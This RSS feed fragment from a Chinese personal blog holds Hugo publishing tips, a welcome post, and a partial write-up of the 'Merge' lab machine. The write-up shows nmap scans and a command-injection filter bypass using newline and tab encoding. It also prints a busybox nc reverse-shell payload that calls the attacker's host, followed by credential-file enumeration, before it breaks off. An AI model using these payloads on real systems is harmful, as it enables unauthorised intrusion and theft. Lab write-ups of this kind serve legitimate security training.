1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;hugo server -D&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;打开 &lt;a href="http://localhost:1313" target="_blank" rel="external nofollow noopener noreferrer"&gt;http://localhost:1313&lt;i class="fa-solid fa-external-link-alt fa-xs ms-1 text-secondary" aria-hidden="true"&gt;&lt;/i&gt;&lt;/a&gt; 实时预览，保存即刷新。&lt;code&gt;-D&lt;/code&gt; 表示连草稿（draft: true）一起显示。&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="4-发布"&gt;&lt;span&gt;4. 发布&lt;/span&gt;&#10; &lt;a href="#4-%e5%8f%91%e5%b8%83" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;git add -A&#10;git commit -m &amp;#34;新增文章：我的新文章&amp;#34;&#10;git push&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;push 之后 GitHub Actions 会自动构建并发布到 GitHub Pages，大约一分钟后生效。&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="5-常用管理操作"&gt;&lt;span&gt;5. 常用管理操作&lt;/span&gt;&#10; &lt;a href="#5-%e5%b8%b8%e7%94%a8%e7%ae%a1%e7%90%86%e6%93%8d%e4%bd%9c" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;FixIt 主题的配置在 &lt;code&gt;config/_default/&lt;/code&gt; 目录下：&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;改博客标题&lt;/strong&gt;：编辑 &lt;code&gt;hugo.toml&lt;/code&gt; 的 &lt;code&gt;title&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;改站点描述&lt;/strong&gt;：编辑 &lt;code&gt;params.toml&lt;/code&gt; 的 &lt;code&gt;description&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;改首页作者卡片&lt;/strong&gt;（名字、一句话、社交链接）：编辑 &lt;code&gt;params.toml&lt;/code&gt; 的 &lt;code&gt;[author]&lt;/code&gt;、&lt;code&gt;[home.profile]&lt;/code&gt;、&lt;code&gt;[social]&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;改导航菜单&lt;/strong&gt;：编辑 &lt;code&gt;menus.toml&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;改外观功能&lt;/strong&gt;（明暗主题、代码块、目录、搜索等）：编辑 &lt;code&gt;params.toml&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;放头像&lt;/strong&gt;：图片放到 &lt;code&gt;assets/img/avatar.png&lt;/code&gt;，在 &lt;code&gt;params.toml&lt;/code&gt; 的 &lt;code&gt;[author]&lt;/code&gt; 里加一行 &lt;code&gt;avatar = &amp;quot;img/avatar.png&amp;quot;&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;升级主题&lt;/strong&gt;：&lt;code&gt;git submodule update --remote themes/FixIt&lt;/code&gt;（升级后需本地构建验证）&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;本地完整构建测试&lt;/strong&gt;：&lt;code&gt;hugo --minify&lt;/code&gt;，结果输出到 &lt;code&gt;public/&lt;/code&gt; 目录&lt;/li&gt;&#10;&lt;/ul&gt;&#10;</description></item><item><title>你好，世界：博客正式开张</title><link>https://blog.1urkers.cn/p/hello-world/</link><pubDate>Thu, 10 Sep 2026 16:15:00 +0800</pubDate><guid>https://blog.1urkers.cn/p/hello-world/</guid><category domain="https://blog.1urkers.cn/categories/%E5%85%AC%E5%91%8A/">公告</category><description>&lt;p&gt;欢迎来到我的博客！这篇文章由 Hugo + FixIt 主题生成，部署在 GitHub Pages 上。&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="这套博客是怎么运作的"&gt;&lt;span&gt;这套博客是怎么运作的&lt;/span&gt;&#10; &lt;a href="#%e8%bf%99%e5%a5%97%e5%8d%9a%e5%ae%a2%e6%98%af%e6%80%8e%e4%b9%88%e8%bf%90%e4%bd%9c%e7%9a%84" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;ul&gt;&#10;&lt;li&gt;用 &lt;strong&gt;Markdown&lt;/strong&gt; 写文章，存放在 &lt;code&gt;content/post/&lt;/code&gt; 目录&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;git push&lt;/code&gt; 到 GitHub 后，&lt;strong&gt;GitHub Actions&lt;/strong&gt; 自动构建并发布&lt;/li&gt;&#10;&lt;li&gt;全程免费，无需服务器&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 class="heading-element" id="markdown-排版示例"&gt;&lt;span&gt;Markdown 排版示例&lt;/span&gt;&#10; &lt;a href="#markdown-%e6%8e%92%e7%89%88%e7%a4%ba%e4%be%8b" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;h3 class="heading-element" id="文字样式"&gt;&lt;span&gt;文字样式&lt;/span&gt;&#10; &lt;a href="#%e6%96%87%e5%ad%97%e6%a0%b7%e5%bc%8f" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&lt;p&gt;支持 &lt;strong&gt;加粗&lt;/strong&gt;、&lt;em&gt;斜体&lt;/em&gt;、&lt;del&gt;删除线&lt;/del&gt;、&lt;code&gt;行内代码&lt;/code&gt;，以及 &lt;a href="https://gohugo.io/" target="_blank" rel="external nofollow noopener noreferrer"&gt;链接&lt;i class="fa-solid fa-external-link-alt fa-xs ms-1 text-secondary" aria-hidden="true"&gt;&lt;/i&gt;&lt;/a&gt;。&lt;/p&gt;&#10;&lt;h3 class="heading-element" id="代码块"&gt;&lt;span&gt;代码块&lt;/span&gt;&#10; &lt;a href="#%e4%bb%a3%e7%a0%81%e5%9d%97" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;def hello():&#10; print(&amp;#34;Hello, Hugo!&amp;#34;)&lt;/code&gt;&lt;/pre&gt;&lt;h3 class="heading-element" id="引用"&gt;&lt;span&gt;引用&lt;/span&gt;&#10; &lt;a href="#%e5%bc%95%e7%94%a8" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&lt;blockquote&gt;&#10;&lt;p&gt;好记性不如烂笔头，写博客是最好的复盘方式。&lt;/p&gt;&#10;&lt;/blockquote&gt;&#10;&lt;h3 class="heading-element" id="列表与表格"&gt;&lt;span&gt;列表与表格&lt;/span&gt;&#10; &lt;a href="#%e5%88%97%e8%a1%a8%e4%b8%8e%e8%a1%a8%e6%a0%bc" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&lt;ol&gt;&#10;&lt;li&gt;写一篇文章&lt;/li&gt;&#10;&lt;li&gt;push 到 GitHub&lt;/li&gt;&#10;&lt;li&gt;一分钟后自动上线&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;工具&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;作用&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Hugo&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;静态站点生成&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;FixIt&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;主题外观&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;GitHub Pages&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;免费托管&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;接下来就交给时间，慢慢把这里填满吧。&lt;/p&gt;&#10;</description></item><item><title>Merge</title><link>https://blog.1urkers.cn/p/merge/</link><pubDate>Sat, 06 Jun 2026 15:01:28 +0800</pubDate><guid>https://blog.1urkers.cn/p/merge/</guid><category domain="https://blog.1urkers.cn/categories/%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%9B%98/">靶机复盘</category><description>&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;作者&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;难度&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;平台&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;111&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Medium&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;mazesec&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h2 class="heading-element" id="信息收集"&gt;&lt;span&gt;信息收集&lt;/span&gt;&#10; &lt;a href="#%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;╭─ ~ ────────────────────────────────────────────────────────────────────── ✔  root@kali  22:41:30 &#10;╰─ nmap 192.168.56.128 -p-&#10;Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-03 22:41 -0400&#10;Nmap scan report for 192.168.56.128&#10;Host is up (0.00076s latency).&#10;Not shown: 65533 closed tcp ports (reset)&#10;PORT STATE SERVICE&#10;22/tcp open ssh&#10;80/tcp open http&#10;MAC Address: 08:00:27:E7:AC:96 (Oracle VirtualBox virtual NIC)&#10;&#10;Nmap done: 1 IP address (1 host up) scanned in 30.43 seconds&#10;&#10;╭─ ~ ──────────────────────────────────────────────────────────────── ✔  31s  root@kali  22:42:29 &#10;╰─ nmap 192.168.56.128 -p22,80 -A&#10;Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-03 22:49 -0400&#10;Nmap scan report for 192.168.56.128&#10;Host is up (0.0021s latency).&#10;&#10;PORT STATE SERVICE VERSION&#10;22/tcp open ssh OpenSSH 10.0p2 Debian 7&amp;#43;deb13u1 (protocol 2.0)&#10;80/tcp open http nginx&#10;|_http-title: \xE7\xA6\xBB\xE7\xBA\xBFIP\xE5\x9C\xB0\xE5\x9D\x80\xE6\x9F\xA5\xE8\xAF\xA2&#10;MAC Address: 08:00:27:E7:AC:96 (Oracle VirtualBox virtual NIC)&#10;Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port&#10;Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Google Chromecast with Google TV (Android 10, Linux 4.9) (93%), Android 5 - 10 (Linux 3.4 - 3.18) (93%), Linux 2.6.32 (93%), Android 10 - 12 (Linux 4.14 - 4.19) (93%), Linux 5.10 - 5.19 (93%), Linux 3.2 - 4.14 (93%), Linux 5.4 - 5.10 (93%), OpenWrt 21.02 (Linux 5.4) (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%)&#10;No exact OS matches for host (test conditions non-ideal).&#10;Network Distance: 1 hop&#10;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&#10;&#10;TRACEROUTE&#10;HOP RTT ADDRESS&#10;1 2.09 ms 192.168.56.128&#10;&#10;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&#10;Nmap done: 1 IP address (1 host up) scanned in 12.93 seconds&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;只开了两个端口，&lt;code&gt;22 80&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/merge/image-20260604105612013.png' alt="image-20260604105612013" height="909" width="2116"&gt;&lt;/p&gt;&#10;&lt;p&gt;这里可以进行 &lt;code&gt;ip&lt;/code&gt; 查询，尝试命令执行，发现过滤了:&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;&amp;amp; | ; 空格 ` $ &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这里可以利用&lt;code&gt;%0a&lt;/code&gt;进行绕过，在shell中 &lt;code&gt;换行符\n&lt;/code&gt; 等价于命令分隔符。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;╭─ ~ ──────────────────────────────────────────────────────────────────── 5 ✘  root@kali  23:06:51 &#10;╰─ curl -X POST -d &amp;#34;ip=127.0.0.1%0aid&amp;#34; http://192.168.56.128&#10;&#10;&amp;lt;body&amp;gt;&#10;&amp;lt;div class=&amp;#34;main&amp;#34;&amp;gt;&#10;&amp;lt;form class=&amp;#34;form-group&amp;#34; method=&amp;#34;POST&amp;#34; action=&amp;#34;&amp;#34;&amp;gt;&#10;&amp;lt;input type=&amp;#34;text&amp;#34; name=&amp;#34;ip&amp;#34; id=&amp;#34;ipInput&amp;#34; placeholder=&amp;#34;输入IP地址查询&amp;#34; value=&amp;#34;127.0.0.1&#10;id&amp;#34; autofocus&amp;gt;&#10;&amp;lt;button type=&amp;#34;submit&amp;#34;&amp;gt;查询&amp;lt;/button&amp;gt;&#10;&amp;lt;/form&amp;gt;&#10;&amp;lt;div class=&amp;#34;result result-success&amp;#34;&amp;gt;&amp;lt;pre&amp;gt;127.0.0.1 [本机地址] &#10;uid=33(www-data) gid=33(www-data) groups=33(www-data)&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&#10;&amp;lt;/div&amp;gt;&#10;&amp;lt;div class=&amp;#34;footer&amp;#34;&amp;gt;&#10;&amp;lt;a href=&amp;#34;https://maze-sec.com&amp;#34; target=&amp;#34;_blank&amp;#34;&amp;gt;maze-sec&amp;lt;/a&amp;gt;&#10;&amp;lt;/div&amp;gt;&#10;&amp;lt;script&amp;gt;&#10;document.addEventListener(&amp;#39;keydown&amp;#39;, function(e) {&#10; if (e.key === &amp;#39;/&amp;#39; &amp;amp;&amp;amp; document.activeElement !== document.getElementById(&amp;#39;ipInput&amp;#39;)) {&#10; e.preventDefault();&#10; document.getElementById(&amp;#39;ipInput&amp;#39;).focus();&#10; }&#10;});&#10;&amp;lt;/script&amp;gt;&#10;&amp;lt;/body&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="尝试反向shell获取立足点"&gt;&lt;span&gt;尝试反向shell获取立足点&lt;/span&gt;&#10; &lt;a href="#%e5%b0%9d%e8%af%95%e5%8f%8d%e5%90%91shell%e8%8e%b7%e5%8f%96%e7%ab%8b%e8%b6%b3%e7%82%b9" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;&lt;code&gt;%09&lt;/code&gt; 被 URL 解码后是水平制表符 Tab, 在shell中通常被当作空白分隔符，作用类似于空格。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;╭─ ~ ────────────────────────────────────────────────────────────────────── ✔  root@kali  23:12:13 &#10;╰─ curl -X POST -d &amp;#34;ip=127.0.0.1%0abusybox%09nc%09192.168.56.101%0939666%09-e%09/bin/bash&amp;#34; http://192.168.56.128&#10;&#10;╭─ ~ ────────────────────────────────────────────────────────────────────── ✔  root@kali  23:09:59 &#10;╰─ nc -lvnp 39666&#10;listening on [any] 39666 ...&#10;connect to [192.168.56.101] from (UNKNOWN) [192.168.56.128] 42538&#10;id&#10;uid=33(www-data) gid=33(www-data) groups=33(www-data)&#10;&#10;# 优化反向shell&#10;script -qc /bin/bash /dev/null&#10;# ctrl &amp;#43; z&#10;stty raw -echo; fg&#10;reset&#10;xterm&#10;www-data@Merge:~/html$ export SHELL=/bin/bash&#10;www-data@Merge:~/html$ export TERM=xterm&#10;www-data@Merge:~/html$ stty size &#10;24 80&#10;www-data@Merge:~/html$ stty rows 28 columns 104 &#10;www-data@Merge:~/html$ &lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="系统内部信息收集"&gt;&lt;span&gt;系统内部信息收集&lt;/span&gt;&#10; &lt;a href="#%e7%b3%bb%e7%bb%9f%e5%86%85%e9%83%a8%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;www-data@Merge:~/html$ cat /etc/passwd | grep bash &#10;root:x:0:0:root:/root:/bin/bash&#10;mono:x:1000:1000::/home/mono:/bin/bash&#10;lnnn:x:1001:1001::/home/lnnn:/bin/bash&#10;admin:x:1002:1002::/home/admin:/bin/bash&#10;&#10;www-data@Merge:~/html$ ls -al /home&#10;total 20&#10;drwxr-xr-x 5 root root 4096 May 22 06:04 .&#10;drwxr-xr-x 18 root root 4096 May 16 05:19 ..&#10;drwx------ 2 admin admin 4096 May 22 09:22 admin&#10;drwx------ 2 lnnn lnnn 4096 May 22 06:10 lnnn&#10;drwx------ 2 mono mono 4096 May 22 06:03 mono&#10;&#10;www-data@Merge:~/html$ find / -user admin 2&amp;gt;/dev/null&#10;/opt/admin&#10;/home/admin&#10;&#10;www-data@Merge:~/html$ ls -al /opt&#10;total 20&#10;drwxr-xr-x 4 root root 4096 May 22 09:19 .&#10;drwxr-xr-x 18 root root 4096 May 16 05:19 ..&#10;drwxr-xr-x 2 root root 4096 May 22 06:09 Dirty-Merge&#10;drwxr-x--- 2 admin lnnn 4096 May 22 09:20 admin&#10;-rw-r--r-- 1 root root 30 May 22 06:07 pass.txt&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;发现密码：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;www-data@Merge:~/html$ cat /opt/pass.txt 